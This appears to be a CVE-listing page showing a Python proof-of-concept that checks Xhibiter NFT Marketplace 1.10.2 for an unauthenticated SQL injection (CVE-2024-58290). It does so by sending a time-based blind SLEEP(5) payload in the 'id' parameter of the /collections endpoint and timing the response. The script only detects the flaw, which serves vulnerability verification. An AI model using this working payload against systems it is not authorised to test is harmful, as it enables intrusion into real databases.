4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / poc.py PY
import requests
import argparse
import time
import sys

# CVE-2024-58290 Proof of Concept
# Target: Xhibiter NFT Marketplace 1.10.2
# Vulnerability: Unauthenticated SQL Injection
# Author: Sohel Yousef

def banner():
    print("""
    ##########################################################
    #    CVE-2024-58290 - Xhibiter SQL Injection Detector    #
    #                 Author: Sohel Yousef                   #
    ##########################################################
    """)

def check_vulnerability(url):
    # Constructing the vulnerable endpoint
    # The vulnerability exists in the 'id' parameter of the collections endpoint
    target_endpoint = f"{url}/collections"
    
    # Payload Explanation:
    # This is a Time-Based Blind SQL Injection payload.
    # It attempts to force the database to sleep for 5 seconds.
    # If the server takes > 5 seconds to reply, the injection is successful.
    payload = "1' AND (SELECT 5678 FROM (SELECT(SLEEP(5)))DwVr) AND '1'='1"
    
    params = {'id': payload}
    
    print(f"[*] Target URL: {target_endpoint}")
    print("[*] Testing for SQL Injection (Time-Based)...")
    print("[*] Sending payload to verify database interaction...")

    try:
        start_time = time.time()
        # Sending the request with the malicious parameter
        response = requests.get(target_endpoint, params=params, timeout=15)
        end_time = time.time()
        
        duration = end_time - start_time
        
        if duration >= 5:
            print(f"\n[+] SUCCESS: Target is VULNERABLE to CVE-2024-58290!")
            print(f"[+] Server response delay: {duration:.2f} seconds (Expected ~5s).")
            print("[+] Explanation: The database executed the SLEEP(5) command.")
        else:
            print(f"\n[-] FAILED: Target does not appear vulnerable.")
            print(f"[-] Response time: {duration:.2f} seconds (Too fast for sleep execution).")
            
    except requests.exceptions.Timeout:
        # Sometimes a successful sleep causes a timeout depending on server config
        print(f"\n[+] SUCCESS (Likely): Request timed out, which often indicates SQL sleep execution.")
    except requests.exceptions.RequestException as e:
        print(f"\n[!] Error connecting to target: {e}")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='CVE-2024-58290 PoC Scanner by Sohel Yousef')
    parser.add_argument('--url', required=True, help='Target base URL (e.g., http://localhost/xhibiter)')
    args = parser.parse_args()
    
    banner()
    check_vulnerability(args.url)